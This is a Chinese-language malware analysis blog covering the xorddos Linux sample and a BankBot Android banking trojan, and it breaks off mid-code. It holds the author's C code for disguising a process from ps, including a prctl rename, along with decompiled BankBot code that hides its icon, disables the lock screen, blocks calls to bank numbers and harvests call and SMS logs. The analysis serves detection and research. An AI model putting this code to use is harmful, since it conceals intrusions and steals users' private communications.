xorddos 样本进程隐藏的小伎俩

进程隐藏

上周由于工作原因接触到xorddos的样本,这个样本在过去一年的时间里非常常见,
变种也很多,拿到的样本比较有趣的是 ps 无法发现进程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[root@localhost ~]# ps -ef  | grep /usr/bin

...

root 4597 4594 0 00:37 ? 00:00:00 gnome-pty-helper
root 4598 4594 0 00:37 pts/1 00:00:00 bash
oracle 5359 1 0 00:41 ? 00:00:00 ora_smco_orcl
oracle 5378 1 0 00:41 ? 00:00:00 ora_w000_orcl
oracle 5586 1 0 00:42 ? 00:00:00 ora_j000_orcl
oracle 5588 1 0 00:42 ? 00:00:00 ora_j001_orcl
root 5666 1 0 00:43 ? 00:00:00 sh
root 5669 1 0 00:43 ? 00:00:00 echo "find"
root 5672 1 0 00:43 ? 00:00:00 ls -la
root 5675 1 0 00:43 ? 00:00:00 bash
root 5678 1 0 00:43 ? 00:00:00 gnome-terminal
root 5683 1 0 00:43 ? 00:00:00 cd /etc
root 5686 1 0 00:43 ? 00:00:00 top
root 5689 1 0 00:43 ? 00:00:00 sh
root 5692 1 0 00:43 ? 00:00:00 gnome-terminal
root 5695 1 0 00:43 ? 00:00:00 ifconfig
root 5696 4598 0 00:43 pts/1 00:00:00 ps -ef

而使用lsof却可以清除地看见样本正在努力地干活。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[root@localhost ~]# lsof +d /usr/bin
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
hidd 1853 root txt REG 3,1 33708 2467454 /usr/bin/hidd
ckucbzknt 2014 root txt REG 3,1 610331 2459176 /usr/bin/ckucbzkntb
xfs 2143 xfs txt REG 3,1 107460 2468483 /usr/bin/xfs
Xorg 3117 root txt REG 3,1 1890596 2466732 /usr/bin/Xorg
gnome-ses 4073 root txt REG 3,1 129356 2459482 /usr/bin/gnome-session
ssh-agent 4201 root txt REG 3,1 88996 2467513 /usr/bin/ssh-agent
dbus-laun 4245 root txt REG 3,1 23796 2471600 /usr/bin/dbus-launch
gnome-key 4255 root txt REG 3,1 97396 2473617 /usr/bin/gnome-keyring-daemon
metacity 4290 root txt REG 3,1 521080 2464500 /usr/bin/metacity
gnome-pan 4296 root txt REG 3,1 540868 2465177 /usr/bin/gnome-panel
nautilus 4298 root txt REG 3,1 1348932 2461620 /usr/bin/nautilus
gnome-vol 4310 root txt REG 3,1 65240 2464498 /usr/bin/gnome-volume-manager
bt-applet 4334 root txt REG 3,1 30452 2464773 /usr/bin/bt-applet
nm-applet 4352 root txt REG 3,1 312432 2467723 /usr/bin/nm-applet
gnome-pow 4381 root txt REG 3,1 195284 2459473 /usr/bin/gnome-power-manager
pam-panel 4383 root txt REG 3,1 39148 2461862 /usr/bin/pam-panel-icon
dbus-laun 4473 root txt REG 3,1 23796 2471600 /usr/bin/dbus-launch
gnome-scr 4512 root txt REG 3,1 168628 2468487 /usr/bin/gnome-screensaver
gnome-ter 4594 root txt REG 3,1 309368 2464648 /usr/bin/gnome-terminal
gadcgkcqn 4681 root txt REG 3,1 610331 2460159 /usr/bin/gadcgkcqni
gadcgkcqn 4684 root txt REG 3,1 610331 2460159 /usr/bin/gadcgkcqni
gadcgkcqn 4687 root txt REG 3,1 610331 2460159 /usr/bin/gadcgkcqni
gadcgkcqn 4690 root txt REG 3,1 610331 2460159 /usr/bin/gadcgkcqni
gadcgkcqn 4693 root txt REG 3,1 610331 2460159 /usr/bin/gadcgkcqni

阅读汇编代码,分析具体原因,发现xorddos将一些关键信息加密了,F5处理过的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl encrypt_code(int a1, int a2)
{
signed int v2; // ecx@2

if ( a2 > 0 )
{
v2 = 0;
do
{
*(_BYTE *)(v2 + a1) ^= xorkeys[(((_BYTE)v2 + ((unsigned int)(v2 >> 31) >> 28)) & 0xF)
- ((unsigned int)(v2 >> 31) >> 28)];
++v2;
}
while ( v2 != a2 );
}
return a1;
}

xorkey 为 BB2FA36AAA9541F0

用idapython 写个小脚本,简单处理一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from idautils import *
from idc import *


def get_string(addr):
out = ""
while True:
if Byte(addr) != 0:
out += chr(Byte(addr))
else:
break
addr += 1
return out

def decrypt(data):

xorkey = 'BB2FA36AAA9541F0'
length = len(data)
o = ""
if length > 0:
v2 = 0
while v2 < length:
o += chr( ord(data[v2]) ^ ord(xorkey[((v2 + ((v2 >> 31) >> 28)) & 0xF) - ( (v2 >> 31) >> 28)]) )
v2 += 1

return o

ea = ScreenEA()
string = get_string(ea)
dec = decrypt(string)
print 'Addr: 0x%x, %s' % (ea, dec)
MakeComm(ea, dec)

处理后可以看到伪装的命令行信息,daemonname。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
.data:080CBB40 daemonname      db '!#Ff3VE.-7',17h,'V[_ 0',0 ; DATA XREF: main+31Eo
.data:080CBB40 ; main+4AEo ...
.data:080CBB40 ; cat resolv.conf
.data:080CBB51 align 4
.data:080CBB54 a12 db '1*2',0 ; sh
.data:080CBB58 db 0
.data:080CBB59 db 0
.data:080CBB5A db 0
.data:080CBB5B db 0
.data:080CBB5C db 0
.data:080CBB5D db 0
.data:080CBB5E db 0
.data:080CBB5F db 0
.data:080CBB60 db 0
.data:080CBB61 db 0
.data:080CBB62 db 0
.data:080CBB63 db 0
.data:080CBB64 db 0
.data:080CBB65 db 0
.data:080CBB66 db 0
.data:080CBB67 db 0
.data:080CBB68 db 20h ; bash
.data:080CBB69 db 23h ; #
.data:080CBB6A db 41h ; A
.data:080CBB6B db 2Eh ; .
.data:080CBB6C db 41h ; A
.data:080CBB6D db 0
.data:080CBB6E db 0
.data:080CBB6F db 0
.data:080CBB70 db 0
.data:080CBB71 db 0

...

.data:080CBBB8 db 2Eh ; . ; ls -la
.data:080CBBB9 db 31h ; 1
.data:080CBBBA db 12h
.data:080CBBBB db 6Bh ; k
.data:080CBBBC db 2Dh ; -
.data:080CBBBD db 52h ; R
.data:080CBBBE db 36h ; 6
.data:080CBBBF db 0
.data:080CBBC0 db 0
.data:080CBBC1 db 0
.data:080CBBC2 db 0
.data:080CBBC3 db 0
.data:080CBBC4 db 0
.data:080CBBC5 db 0
.data:080CBBC6 db 0
.data:080CBBC7 db 0
.data:080CBBC8 db 0
.data:080CBBC9 db 0
.data:080CBBCA db 0
.data:080CBBCB db 0
.data:080CBBCC db 36h ; 6 ; top
.data:080CBBCD db 2Dh ; -
.data:080CBBCE db 42h ; B
.data:080CBBCF db 46h ; F
.data:080CBBD0 db 0
.data:080CBBD1 db 0
.data:080CBBD2 db 0

...

呵呵,已经看到 top, ls -al 等信息了,查看daemonname 的交叉引用,发现在main函数
中,到main里看看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:0804AC30 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0804AC30 public main
.text:0804AC30 main proc near ; DATA XREF: _start+17o

....

.text:0804AF4E mov ebx, offset daemonname ; "!#Ff3VE.-7\x17V[_ 0"

...

.text:0804AFC2 loc_804AFC2: ; CODE XREF: main+3ABj
.text:0804AFC2 mov [esp], ebx
.text:0804AFC5 add ebx, 14h
.text:0804AFC8 mov dword ptr [esp+4], 14h
.text:0804AFD0 call encrypt_code
.text:0804AFD5 cmp ebx, offset unk_80CBD0C
.text:0804AFDB jnz short loc_804AFC2

这段汇编代码,使用了一个循环,调用encrypt_code 对daemonname进行了解密。
后面的代码,用到了daemonname的地方有下面几处,

第一处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:0804B29F                 call    getpid
.text:0804B2A4 mov dword ptr [esp+8], (offset aDD+3) ; "%d"
.text:0804B2AC mov dword ptr [esp+4], 0Ah
.text:0804B2B4 mov [esp], esi ;第三形参 pid
.text:0804B2B7 mov [esp+0Ch], eax
.text:0804B2BB call snprintf
.text:0804B2C0 mov dword ptr [esp+4], 17h
.text:0804B2C8 mov dword ptr [esp], 0
.text:0804B2CF call randomid
.text:0804B2D4 mov [esp+8], esi
.text:0804B2D8 mov [esp], edi ;第一形参 要跑的木马
.text:0804B2DB movzx eax, ax
.text:0804B2DE lea eax, [eax+eax*4]
.text:0804B2E1 lea eax, daemonname[eax*4] ; "!#Ff3VE.-7\x17V[_ 0"
.text:0804B2E8 mov [esp+4], eax ; 第二形参 daemonname
.text:0804B2EC call LinuxExec_Argv2

第二处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.text:0804B932                 lea     edx, [ebp+var_1888]
.text:0804B938 add ebx, 1
.text:0804B93B mov [esp], edx
.text:0804B93E call randmd5
.text:0804B943 mov [ebp+var_22], 0
.text:0804B94A mov [ebp+var_1E], 0
.text:0804B951 mov [ebp+var_1A], 0
.text:0804B957 call getpid
.text:0804B95C mov dword ptr [esp+8], (offset aDD+3) ; "%d"
.text:0804B964 mov dword ptr [esp+4], 0Ah
.text:0804B96C mov [esp], esi
.text:0804B96F mov [esp+0Ch], eax
.text:0804B973 call snprintf
.text:0804B978 mov dword ptr [esp+4], 17h
.text:0804B980 mov dword ptr [esp], 0
.text:0804B987 call randomid
.text:0804B98C mov [esp+8], esi
.text:0804B990 movzx eax, ax
.text:0804B993 lea eax, [eax+eax*4]
.text:0804B996 lea eax, daemonname[eax*4] ; "!#Ff3VE.-7\x17V[_ 0"
.text:0804B99D mov [esp+4], eax
.text:0804B9A1 lea eax, [ebp+var_1888]
.text:0804B9A7 mov [esp], eax
.text:0804B9AA call LinuxExec_Argv2

第三处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.text:0804B9DF                 lea     edx, [ebp+var_1C88]
.text:0804B9E5 add ebx, 1
.text:0804B9E8 mov [esp], edx
.text:0804B9EB call randmd5
.text:0804B9F0 mov [ebp+var_22], 0
.text:0804B9F7 mov [ebp+var_1E], 0
.text:0804B9FE mov [ebp+var_1A], 0
.text:0804BA04 call getpid
.text:0804BA09 mov dword ptr [esp+8], (offset aDD+3) ; "%d"
.text:0804BA11 mov dword ptr [esp+4], 0Ah
.text:0804BA19 mov [esp], esi
.text:0804BA1C mov [esp+0Ch], eax
.text:0804BA20 call snprintf
.text:0804BA25 mov dword ptr [esp+4], 17h
.text:0804BA2D mov dword ptr [esp], 0
.text:0804BA34 call randomid
.text:0804BA39 mov [esp+8], esi
.text:0804BA3D movzx eax, ax
.text:0804BA40 lea eax, [eax+eax*4]
.text:0804BA43 lea eax, daemonname[eax*4] ; "!#Ff3VE.-7\x17V[_ 0"
.text:0804BA4A mov [esp+4], eax
.text:0804BA4E lea eax, [ebp+var_1C88]
.text:0804BA54 mov [esp], eax
.text:0804BA57 call LinuxExec_Argv2

都是作为LinuxExec_Argv2 参数使用的,接着来看LinuxExec_Argv2 的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
.text:08048520 LinuxExec_Argv2 proc near               ; CODE XREF: DelService+B3p
.text:08048520 ; DelService+CBlp ...
.text:08048520
.text:08048520 argv = dword ptr -18h
.text:08048520 var_14 = dword ptr -14h
.text:08048520 var_10 = dword ptr -10h
.text:08048520 var_C = dword ptr -0Ch
.text:08048520 var_8 = dword ptr -8
.text:08048520 var_4 = dword ptr -4
.text:08048520 file = dword ptr 8
.text:08048520 arg_4 = dword ptr 0Ch
.text:08048520 arg_8 = dword ptr 10h
.text:08048520
.text:08048520 push ebp
.text:08048521 mov ebp, esp
.text:08048523 sub esp, 28h
.text:08048526 mov [ebp+var_4], esi
.text:08048529 mov esi, [ebp+file]
.text:0804852C mov [ebp+var_8], ebx
.text:0804852F mov [ebp+argv], 0
.text:08048536 mov [ebp+var_14], 0
.text:0804853D mov [ebp+var_10], 0
.text:08048544 mov [ebp+var_C], 0
.text:0804854B call doublefork
.text:08048550 test eax, eax
.text:08048552 jz short ZERO
.text:08048554 mov ebx, [ebp+var_8]
.text:08048557 mov esi, [ebp+var_4]
.text:0804855A mov esp, ebp
.text:0804855C pop ebp
.text:0804855D retn
.text:0804855E ; ---------------------------------------------------------------------------
.text:0804855E
.text:0804855E ZERO: ; CODE XREF: LinuxExec_Argv2+32j
.text:0804855E mov ebx, 3
.text:08048563
.text:08048563 LOOP: ; CODE XREF: LinuxExec_Argv2+54j
.text:08048563 mov [esp], ebx ; fd
.text:08048566 add ebx, 1
.text:08048569 call close
.text:0804856E cmp ebx, 400h ;400h == 1024
.text:08048574 jnz short LOOP
.text:08048576 mov eax, [ebp+arg_4]
.text:08048579 mov [ebp+argv], esi
.text:0804857C mov [esp], esi ; file
.text:0804857F mov [ebp+var_14], eax
.text:08048582 mov eax, [ebp+arg_8];eax = pid
.text:08048585 mov [ebp+var_10], eax
.text:08048588 lea eax, [ebp+argv]
.text:0804858B mov [esp+4], eax ; argv
.text:0804858F call execvp
.text:08048594 mov dword ptr [esp], 0 ; status
.text:0804859B call exit
.text:0804859B LinuxExec_Argv2 endp

LinuxExec_Argv2 有三个参数。最终执行了execvp

1
2
3
4
.text:0804857C                 mov     [esp], esi      ; file 
...
.text:0804858B mov [esp+4], eax ; argv
.text:0804858F call execvp

伪代码为,

1
execvp(file, &argv);

file 就是arg_0, 需要分析argv, 调出栈图就比较清晰了。

1
2
3
4
5
6
7
8
9
10
11
12
-00000018 argv            dd ?                    ; offset
-00000014 var_14 dd ?
-00000010 var_10 dd ?
-0000000C var_C dd ?
-00000008 var_8 dd ?
-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 file dd ? ; offset
+0000000C arg_4 dd ?
+00000010 arg_8 dd ?

首先是这句

1
2
3
4
5
6
.text:08048529                 mov     esi, [ebp+file]
...
.text:0804852F mov [ebp+argv], 0
...
.text:08048579 mov [ebp+argv], esi

执行了这几句代码后,栈图发生了变化

1
2
3
4
5
6
7
8
9
10
11
-00000018 argv            arg_0                       ; offset
-00000014 var_14 dd ?
-00000010 var_10 dd ?
-0000000C var_C dd ?
-00000008 var_8 dd ?
-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 file dd ? ; offset
+0000000C arg_4 dd ?
+00000010 arg_8 dd ?

再看这几句代码

1
2
3
4
.text:08048576                 mov     eax, [ebp+arg_4]
.text:08048579 mov [ebp+argv], esi
...
.text:0804857F mov [ebp+var_14], eax

执行了这几句代码后,栈图发生了变化

1
2
3
4
5
6
7
8
9
10
11
-00000018 argv            arg_0                   ; offset
-00000014 var_14 arg_4
-00000010 var_10 dd ?
-0000000C var_C dd ?
-00000008 var_8 dd ?
-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 file dd ? ; offset
+0000000C arg_4 dd ?
+00000010 arg_8 dd ?

接下来是这几句代码

1
2
.text:08048582                 mov     eax, [ebp+arg_8];eax = pid
.text:08048585 mov [ebp+var_10], eax

执行了这几句代码后,栈图发生了变化

1
2
3
4
5
6
7
8
9
10
11
12
-00000018 argv            arg_0                   ; offset
-00000014 var_14 arg_4
-00000010 var_10 arg_8
-0000000C var_C 0
-00000008 var_8 dd ?
-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 file dd ? ; offset
+0000000C arg_4 dd ?
+00000010 arg_8 dd ?
`

main函数中对LinuxExec_Argv2 的调用的为代码为

1
LinuxExec_Argv2('木马路径', '伪装命令行', pid);

因此最后调用的execvp的伪代码为

1
execvp('木马路径', argv);

将进入 main 函数参数个数为3的流程,用IDA重命名后,关键代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
text:0804B5D3 PARAM_NUM_3:                            ; CODE XREF: main+3CDj

.text:0804B5D3 lea eax, [ebp+var_18]
.text:0804B5D6 mov [esp+4], eax
.text:0804B5DA lea eax, [ebp+self_path]
.text:0804B5E0 mov [esp], eax
.text:0804B5E3 call readfile
.text:0804B5E8 mov edx, [ebp+argv_arr]
.text:0804B5EE mov ebx, [edx+4]
.text:0804B5F1 mov [ebp+self_file_content], eax
.text:0804B5F7 mov [esp], ebx
.text:0804B5FA call strlen
.text:0804B5FF mov [esp+4], ebx
.text:0804B603 mov [esp+8], eax
.text:0804B607 lea eax, [ebp+fake_cmd]
.text:0804B60D mov [esp], eax
.text:0804B610 call memmove
.text:0804B615 mov dword ptr [esp+0Ch], 0
.text:0804B61D mov dword ptr [esp+8], 0Ah
.text:0804B625 mov dword ptr [esp+4], 0
.text:0804B62D mov edx, [ebp+argv_arr]
.text:0804B633 mov eax, [edx+8]
.text:0804B636 mov [esp], eax
.text:0804B639 call __strtol_internal
.text:0804B63E mov esi, eax
.text:0804B640 mov eax, [ebp+argv_arr]
.text:0804B646 mov ebx, [eax]
.text:0804B648 mov [esp], ebx
.text:0804B64B call strlen
.text:0804B650 mov [esp], ebx
.text:0804B653 mov dword ptr [esp+4], 0
.text:0804B65B mov [esp+8], eax
.text:0804B65F call memset
.text:0804B664 mov edx, [ebp+argv_arr]
.text:0804B66A mov ebx, [edx+4]
.text:0804B66D mov [esp], ebx
.text:0804B670 call strlen
.text:0804B675 mov [esp], ebx
.text:0804B678 mov dword ptr [esp+4], 0
.text:0804B680 mov [esp+8], eax
.text:0804B684 call memset
.text:0804B689 mov eax, [ebp+argv_arr]
.text:0804B68F mov ebx, [eax+8]
.text:0804B692 mov [esp], ebx
.text:0804B695 call strlen
.text:0804B69A mov [esp], ebx
.text:0804B69D mov dword ptr [esp+4], 0
.text:0804B6A5 mov [esp+8], eax
.text:0804B6A9 call memset
.text:0804B6AE lea edx, [ebp+fake_cmd]
.text:0804B6B4 mov [esp+4], edx
.text:0804B6B8 mov edx, [ebp+argv_arr]
.text:0804B6BE mov eax, [edx]
.text:0804B6C0 mov [esp], eax
.text:0804B6C3 call strcpy
.text:0804B6C8 lea eax, [ebp+filename]
.text:0804B6CE mov [esp+0Ch], esi
.text:0804B6D2 lea esi, [ebp+randstr_10]

上面代码的原理大致等同于下面这段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv){
char fake_cmd[256];
memset(&fake_cmd, 0, 256);
char * argv_arr_1 = argv[1];
int argv_arr_1_length = strlen(argv[1]);
memmove(&fake_cmd, argv_arr_1, argv_arr_1_length);
long pid_long = strtol(argv[2], 0, 10);
char * v29 = (char *)*argv;
int v30 = strlen(*argv);
memset(v29, 0, v30);
char * v31 = argv[1];
int v32 = strlen(argv[1]);
memset(v31, 0, v32);
char * v33 = argv[2];
int v34 = strlen(argv[2]);
memset(v33, 0, v34);
strcpy(*argv, fake_cmd);
sleep(300);
}

编译后执行可以看到效果和运行样本的一样。

1
2
3
4
5
6
7
8
9
10
11
➜  ~ gcc -o fakeexe exe.c
➜ ~ ./fakeexe "ls -al" 2554

➜ ~ cat /proc/2605/cmdline
ls -al

➜ ~ ls -l /proc/2605/exe
lrwxrwxrwx. 1 henices henices 0 8月 2 12:01 /proc/2605/exe -> /home/henices/research/xorddos/fakeexe

➜ ~ ps -elf | grep "ls -al" | grep -v grep
0 S henices 2605 25307 0 80 0 - 1043 hrtime 12:01 pts/5 00:00:00 ls -al

其实效果并不好,可以轻易发现踪迹。

1
2
3
➜  ~ ps -e | grep fakeexe
2605 pts/9 00:00:00 fakeexe

其实有更好的做法,使用 prctl ,至少可以把ps给搞定。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/prctl.h>

int main(int argc, char **argv){
char fake_cmd[256];
memset(&fake_cmd, 0, 256);
char * argv_arr_1 = argv[1];
int argv_arr_1_length = strlen(argv[1]);
memmove(&fake_cmd, argv_arr_1, argv_arr_1_length);
long pid_long = strtol(argv[2], 0, 10);
char * v29 = (char *)*argv;
int v30 = strlen(*argv);
memset(v29, 0, v30);
char * v31 = argv[1];
int v32 = strlen(argv[1]);
memset(v31, 0, v32);
char * v33 = argv[2];
int v34 = strlen(argv[2]);
memset(v33, 0, v34);
strcpy(*argv, fake_cmd);
prctl(PR_SET_NAME, "bash");
sleep(300);
}

编译执行后可以看到效果。

1
2
3
4
5
6
7
8
➜  ~ ps -e | grep bash
4858 pts/5 00:00:00 bash

➜ ~ cat /proc/4858/cmdline
ls -al

➜ ~ lsof -d txt | grep fakeexe
bash 4858 henices txt REG 253,2 8816 4588423 /home/henices/research/xorddos/fakeexe

xorddos 的多态 (Polymorphic)

xorddos这个样本还值得一提的是,这个样本会不断变化,多态这个词翻译的可能不太准确,
可以参见上面的英文,自行理解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __cdecl randmd5(char *filename)
{
int fd; // eax@1
int fd_dup; // esi@1
mode_t v4; // [sp+8h] [bp-20h]@0
int addr; // [sp+15h] [bp-13h]@1
int v6; // [sp+19h] [bp-Fh]@1
__int16 v7; // [sp+1Dh] [bp-Bh]@1
char v8; // [sp+1Fh] [bp-9h]@1

addr = 0;
v6 = 0;
v7 = 0;
v8 = 0;
fd = open(filename, 1, v4);
fd_dup = fd;
if ( fd > 0 )
{
lseek(fd, 0, SEEK_END);
randstr((int)&addr, 10);
write(fd_dup, &addr, 11u);
close(fd_dup);
}
return 0;
}

xorddos 样本多态主要就是用这个函数,每次在文件末尾写上10个字节的随机字符。
这样样本md5和大小都会发生变化,使得一些检测方法失效。

其他

正因为这种隐藏方法并不理想,后面xorddos出现了带rootkit的版本,进化了。

Bankbot APK 样本分析

0x00 样本概况

字段 内容
样本名 BankBot
MD5 3c42c391bec405bb28b28195c2961778
SHA256 93b64019ee48177889d908c393703a2a2fe05ca33793c14b175467ce619b1b94
文件类型 APK

这是一个以盗窃信用卡用户密码为主要目的的bot。安装后显示为Android图标。打开App后
会以Android系统更新的形式,诱导用户操作达到常驻系统的目的。

0x01 行为分析

开机自启动

1
2
3
4
5
6
7
8
9
10
11
12
<receiver android:name="com.android.market.Autorun">
<intent-filter android:priority="999">
<action android:name="android.intent.action.REBOOT" />
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.QUICKBOOT_POWERON" />
</intent-filter>
<intent-filter android:priority="1000">
<action android:name="android.intent.action.REBOOT" />
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.QUICKBOOT_POWERON" />
</intent-filter>
</receiver>

Autorun

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.android.market;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

public final class Autorun extends BroadcastReceiver {
public Autorun() {
super();
}

public void onReceive(Context context, Intent intent) {
Intent v0 = new Intent(context, Scheduler.class);
v0.setFlags(0x10000000);
context.startService(v0);
}
}

开机将启动 Schedule 服务

Schedule 服务

1
2
3
4
5
6
7
8
9
10
11
12
13
public int onStartCommand(Intent intent, int flags, int startId) {
super.onStartCommand(intent, flags, startId);
Utils.registerIfNeeded(((Context)this));
Object v0 = this.getSystemService("alarm");
PendingIntent v6 = PendingIntent.getBroadcast(((Context)this), 0, new Intent(((Context)this),
NetworkController.class), 0);
int v7 = FileController.fileExists(((Context)this), "interval") ? Integer.parseInt(FileController
.readFile(((Context)this), "interval")) : 0xA;
((AlarmManager)v0).setRepeating(0, System.currentTimeMillis() + 0x2710, ((long)(v7 * 0x3E8)),
v6);
this.handleCrashes();
return 1;
}

Schedule 服务使用alarm manager 注册一个定时任务。这个定时任务由NetworkController完成。
时间间隔由配置文件interval决定。

com.android.market.FileController

1
2
3
static final boolean fileExists(Context context, String filename) {
return new File(context.getFilesDir(), filename).exists();
}

隐藏App 图标

1
2
3
4
5
6
7
static final void hideApp(Context context, boolean hide) {
ComponentName v0 = new ComponentName(context.getPackageName(), String.valueOf(context.getPackageName())
+ ".MainActivity");
PackageManager v3 = context.getPackageManager();
int v1 = hide ? 2 : 1;
v3.setComponentEnabledSetting(v0, v1, 1);
}

伪造的系统Notification

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void onCreate() {
super.onCreate();
new AppCrash().Register(((Context)this));
Notification v3 = new Notification(0x108008A, "Android system requires user action", System.
currentTimeMillis());
Intent v1 = new Intent(this.getApplicationContext(), AdminX.class);
v1.setAction("android.intent.action.VIEW");
v1.setFlags(0x34000000);
v3.setLatestEventInfo(this.getBaseContext(), "Android", "Android system requires action", PendingIntent
.getActivity(((Context)this), 0, v1, 0x8000000));
v3.flags |= 0x62;
this.startForeground(2, v3);
new Helper(this).execute(new Void[0]);
}

禁用屏幕锁定

1
AdminX.this.getSystemService("keyguard").newKeyguardLock("ANDROID").disableKeyguard();

禁止拨打指定号码电话

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public void onReceive(Context context, Intent intent) {
String[] v8;
String action = intent.getAction();
String v6 = intent.getStringExtra("state");
String v3 = intent.getStringExtra("incoming_number");
String v5 = intent.getStringExtra("android.intent.extra.PHONE_NUMBER");
String v1 = "8005555550; 4955005550;";
String v10 = "8005555550; 4955005550;";
String v11 = "";
int v9 = 0;
if(action.equals("android.intent.action.NEW_OUTGOING_CALL")) {
String v4 = v5.replace("+", "").replace("#", "d").replace("*", "s").replace(" ", "").replace(
"-", "");
if(v1 != null) {
v8 = v1.replace(" ", "").split(";");
if(v8.length > 0) {
int v13;
for(v13 = 0; v13 < v8.length; ++v13) {
if(v4.contains(v8[v13])) {
v9 = 1;
v11 = String.valueOf(v11) + "blocked outgoing call";
this.setResultData(null);
}
}
}
}

if(v9 == 0) {
v11 = String.valueOf(v11) + "outgoing call";
}

new ReportWithDataTask(context, "call_data").execute(new Object[]{"[" + this.toJSON(v4,
v11) + "]"});
}
...
}

通过网页 http://www.sberbank.com/news-and-media/contacts 中的信息我们可以知道:

8005555550 4955005550 这两个号码 sberbank 的号码,在俄罗斯拨打免费。

禁止接听指定号码电话

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
String v10 = "8005555550; 4955005550;";

if((action.equals("android.intent.action.PHONE_STATE")) && (v6.equals("RINGING"))) {
String v2 = v3 != null ? v3.replace("+", "").replace("#", "d").replace("*", "s").replace(
" ", "").replace("-", "") : "Unknown";
if(v10 != null) {
v8 = v10.replace(" ", "").split(";");
for(v13 = 0; v13 < v8.length; ++v13) {
if(v2.contains(v8[v13])) {
v11 = "blocked incoming call";
v9 = 1;
this.hangUp(context);
}
}

if(!v2.contains("Unknown")) {
goto label_106;
}

v11 = "blocked incoming call";
v9 = 1;
this.hangUp(context);
}

label_106:
if(v9 == 0) {
v11 = "incoming call";
}

new ReportWithDataTask(context, "call_data").execute(new Object[]{"[" + this.toJSON(v2,
v11) + "]"});
}

隐私窃取

获取电话拨打记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
private StringBuilder getCallLog() {
StringBuilder v20 = new StringBuilder("[");
String v18 = "O||U|T||||G|O|||I|N||G|".replace("|", "");
Cursor v10 = this.context.getContentResolver().query(CallLog$Calls.CONTENT_URI, null, null,
null, null);
String v15 = "I++N+C+O+++M+I++N+G+".replace("+", "");
String v16 = "M-I--S--S---E--D---".replace("-", "");
String v22 = "***{\"n*u**mb**e*r\"***:%s,\"da****te\":%s,\"d*u*ra****ti*o***n\":%s,\"t*yp***e\":%s}*"
.replace("*", "");
if((v10.moveToFirst()) && v10.getCount() > 0) {
int v17 = v10.getColumnIndex("number");
int v21 = v10.getColumnIndex("type");
int v11 = v10.getColumnIndex("date");
int v14 = v10.getColumnIndex("duration");
while(!v10.isAfterLast()) {
String v19 = v10.getString(v17);
String v9 = v10.getString(v21);
String v7 = v10.getString(v11);
String v8 = v10.getString(v14);
String v13 = null;
switch(Integer.parseInt(v9)) {
case 1: {
v13 = v15;
break;
}
case 2: {
v13 = v18;
break;
}
case 3: {
v13 = v16;
break;
}
}

v20.append(String.format(Locale.US, v22, JSONObject.quote(v19), JSONObject.quote(
v7), JSONObject.quote(v8), JSONObject.quote(v13)));
if(!v10.isLast()) {
v20.append(",");
}

v10.moveToNext();
}

v10.close();
}

return v20.append("]");
}

获取短信记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private StringBuilder getSmsLog() {
StringBuilder v10 = new StringBuilder("[");
Cursor v8 = this.context.getContentResolver().query(Uri.parse("content://ABC".replace("A",
"s").replace("B", "m").replace("C", "s")), null, null, null, null);
if((v8.moveToFirst()) && v8.getCount() > 0) {
while(!v8.isAfterLast()) {
v10.append(String.format(Locale.US, "{\"address\":%s,\"body\":%s,\"date\":%s}",
JSONObject.quote(v8.getString(v8.getColumnIndex("address"))), JSONObject
.quote(v8.getString(v8.getColumnIndex("body"))), JSONObject.quote(v8.getString(
